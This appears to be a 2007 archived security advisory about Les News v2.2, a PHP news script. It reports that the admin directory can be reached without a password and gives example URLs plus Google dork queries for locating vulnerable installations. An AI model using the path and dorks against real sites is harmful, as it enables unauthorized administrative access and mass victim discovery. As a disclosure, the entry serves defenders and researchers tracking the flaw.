Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15981
HistoryFeb 06, 2007 - 12:00 a.m.

Les News v2.2 [Admin news without password]

2007-02-0600:00:00
vulners.com
19
  • Les News v2.2 [Admin news without password]

  • By : sn0oPy

  • Risk : verry high

  • site : http://stombi.free.fr/

  • exploit :

add to the /lesnews/ rep adminews/index_fr.php3

exemple :

http://www.test.ma/lesnews/lesnews_fr.php3
http://www.test.ma/lesnews/adminews/index_fr.php3

Dork :

inurl:"/lesnews/lesnews_fr.php3"
inurl:"/lesnews/lesnews_en.php3"
inurl:"/lesnews/lesnews_de.php3"
inurl:"/lesnews/lesnews_it.php3"

reference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2622